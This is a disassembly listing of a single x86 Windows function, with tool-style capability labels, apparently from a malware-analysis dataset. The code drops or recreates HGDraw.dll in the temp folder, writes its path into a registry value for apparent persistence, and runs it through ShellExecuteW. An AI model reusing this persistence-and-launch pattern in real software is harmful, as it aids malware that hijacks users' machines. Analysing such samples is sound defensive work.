Function at 0x4028a0
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0x420], ax
push 0x206
push 0
lea ecx, [ebp - 0x41e]
push ecx
call fcn.00408ce0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x630], dx
push 0x206
push 0
lea eax, [ebp - 0x62e]
push eax
call fcn.00408ce0
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
call fcn.00408ce0
add esp, 0xc
lea edx, [ebp - 0x420]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.004053a1
add esp, 0xc
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402f40
mov dword [ebp - 4], eax
cmp dword [0x418638], 1
jne 0x402974
cmp dword [ebp - 4], 0
jne 0x402974
xor eax, eax
jmp 0x402f29
call fcn.00403560
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x218], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x194], dx
mov eax, 0x2b8e
mov word [ebp - 0xf2], ax
mov dword [ebp - 0x634], 0x4142dc
lea ecx, [ebp - 0x172]
mov dword [ebp - 0x638], ecx
mov edx, dword [ebp - 0x638]
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x634]
mov cx, word [eax]
mov word [ebp - 0x63e], cx
mov edx, dword [ebp - 0x638]
mov ax, word [ebp - 0x63e]
mov word [edx], ax
mov ecx, dword [ebp - 0x634]
add ecx, 2
mov dword [ebp - 0x634], ecx
mov edx, dword [ebp - 0x638]
add edx, 2
mov dword [ebp - 0x638], edx
cmp word [ebp - 0x63e], 0
jne 0x4029c0
mov dword [ebp - 0x644], 0x4142fc
lea eax, [ebp - 0x214]
mov dword [ebp - 0x648], eax
mov ecx, dword [ebp - 0x648]
mov dword [ebp - 0x64c], ecx
mov edx, dword [ebp - 0x644]
mov ax, word [edx]
mov word [ebp - 0x64e], ax
mov ecx, dword [ebp - 0x648]
mov dx, word [ebp - 0x64e]
mov word [ecx], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov ecx, dword [ebp - 0x648]
add ecx, 2
mov dword [ebp - 0x648], ecx
cmp word [ebp - 0x64e], 0
jne 0x402a2a
mov dword [ebp - 0x654], 0x41431c
lea edx, [ebp - 0x192]
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x65c], eax
mov ecx, dword [ebp - 0x654]
mov dx, word [ecx]
mov word [ebp - 0x65e], dx
mov eax, dword [ebp - 0x658]
mov cx, word [ebp - 0x65e]
mov word [eax], cx
mov edx, dword [ebp - 0x654]
add edx, 2
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x658]
add eax, 2
mov dword [ebp - 0x658], eax
cmp word [ebp - 0x65e], 0
jne 0x402a94
mov dword [ebp - 0x50], 5
push 0x4185f8
push 0x10
lea ecx, [ebp - 0x90]
push ecx
call fcn.00405416
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x402b05
cmp dword [ebp - 0xc], 0
je 0x402b75
push 0x418470
lea edx, [ebp - 0x192]
push edx
call fcn.00402320
add esp, 8
push 0x4184f0
lea eax, [ebp - 0x214]
push eax
call fcn.00402300
add esp, 8
push 0x418570
lea ecx, [ebp - 0x172]
push ecx
call fcn.00402300
add esp, 8
mov dx, word [0x41846c]
mov word [ebp - 0x194], dx
mov ax, word [0x4185f0]
mov word [ebp - 0xf2], ax
mov ecx, dword [0x4185f4]
mov dword [ebp - 0x50], ecx
cmp dword [0x4185f4], 0
jne 0x402b75
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x664], 0x414328
lea edx, [ebp - 0x172]
mov dword [ebp - 0x668], edx
mov eax, dword [ebp - 0x668]
mov cx, word [eax]
mov word [ebp - 0x66a], cx
mov edx, dword [ebp - 0x664]
cmp cx, word [edx]
jne 0x402bf1
cmp word [ebp - 0x66a], 0
je 0x402be5
mov eax, dword [ebp - 0x668]
mov cx, word [eax + 2]
mov word [ebp - 0x66c], cx
mov edx, dword [ebp - 0x664]
cmp cx, word [edx + 2]
jne 0x402bf1
add dword [ebp - 0x668], 4
add dword [ebp - 0x664], 4
cmp word [ebp - 0x66c], 0
jne 0x402b8b
mov dword [ebp - 0x670], 0
jmp 0x402bfc
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x670], eax
mov ecx, dword [ebp - 0x670]
mov dword [ebp - 0x674], ecx
cmp dword [ebp - 0x674], 0
je 0x402c82
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x678], 0x414348
lea edx, [ebp - 0x172]
mov dword [ebp - 0x67c], edx
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x680], eax
mov ecx, dword [ebp - 0x678]
mov dx, word [ecx]
mov word [ebp - 0x682], dx
mov eax, dword [ebp - 0x67c]
mov cx, word [ebp - 0x682]
mov word [eax], cx
mov edx, dword [ebp - 0x678]
add edx, 2
mov dword [ebp - 0x678], edx
mov eax, dword [ebp - 0x67c]
add eax, 2
mov dword [ebp - 0x67c], eax
cmp word [ebp - 0x682], 0
jne 0x402c3a
movzx ecx, word [ebp - 0x214]
test ecx, ecx
je 0x402c98
movzx edx, word [ebp - 0x194]
test edx, edx
jg 0x402ca2
jmp 0x402f1f
mov dword [ebp - 0x218], 0x504d534d
mov dword [ebp - 0x688], 0x4185f8
mov eax, dword [ebp - 0x688]
add eax, 2
mov dword [ebp - 0x68c], eax
mov ecx, dword [ebp - 0x688]
mov dx, word [ecx]
mov word [ebp - 0x68e], dx
add dword [ebp - 0x688], 2
cmp word [ebp - 0x68e], 0
jne 0x402cc5
mov eax, dword [ebp - 0x688]
sub eax, dword [ebp - 0x68c]
sar eax, 1
mov dword [ebp - 0x694], eax
je 0x402d28
push 0x4185f8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402d28
push 0x4185f8
push 0x10
lea ecx, [ebp - 0x90]
push ecx
call fcn.00405416
add esp, 0xc
movzx edx, word [ebp - 0x90]
test edx, edx
jne 0x402d47
push str.opretys
lea eax, [ebp - 0x90]
push eax
call fcn.00402320
add esp, 8
movzx ecx, word [ebp - 0x70]
test ecx, ecx
jne 0x402dc1
push str.gfjieor
lea edx, [ebp - 0x70]
push edx
call fcn.00402320
add esp, 8
mov dword [ebp - 0x698], 0x418618
mov eax, dword [ebp - 0x698]
add eax, 2
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x698]
mov dx, word [ecx]
mov word [ebp - 0x69e], dx
add dword [ebp - 0x698], 2
cmp word [ebp - 0x69e], 0
jne 0x402d79
mov eax, dword [ebp - 0x698]
sub eax, dword [ebp - 0x69c]
sar eax, 1
mov dword [ebp - 0x6a4], eax
je 0x402dc1
push 0x418618
lea ecx, [ebp - 0x70]
push ecx
call fcn.00402320
add esp, 8
mov edx, dword [0x416f34]
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x50], 0
jne 0x402dd7
mov dword [ebp - 0x50], 5
lea eax, [ebp - 0x218]
push eax
call fcn.00402700
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402df9
jmp 0x402f1f
lea ebx, [ebp - 0x420]
lea edi, [ebp - 0x70]
call fcn.00403822
push 0x104
lea ecx, [ebp - 0x630]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x64
div ecx
mov dword [ebp - 8], edx
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x630]
push eax
mov eax, dword [ebp - 8]
call fcn.00403db7
add esp, 8
mov dword [ebp - 0x424], 0
lea ecx, [ebp - 0x424]
push ecx
push 3
push 0
push 0x414388
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402f05
lea edx, [ebp - 0x420]
mov dword [ebp - 0x6a8], edx
mov eax, dword [ebp - 0x6a8]
add eax, 2
mov dword [ebp - 0x6ac], eax
mov ecx, dword [ebp - 0x6a8]
mov dx, word [ecx]
mov word [ebp - 0x6ae], dx
add dword [ebp - 0x6a8], 2
cmp word [ebp - 0x6ae], 0
jne 0x402e97
mov eax, dword [ebp - 0x6a8]
sub eax, dword [ebp - 0x6ac]
sar eax, 1
mov dword [ebp - 0x6b4], eax
mov ecx, dword [ebp - 0x6b4]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push 0x4143f4
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402f05
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x4143fc
lea eax, [ebp - 0x420]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
pop edi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret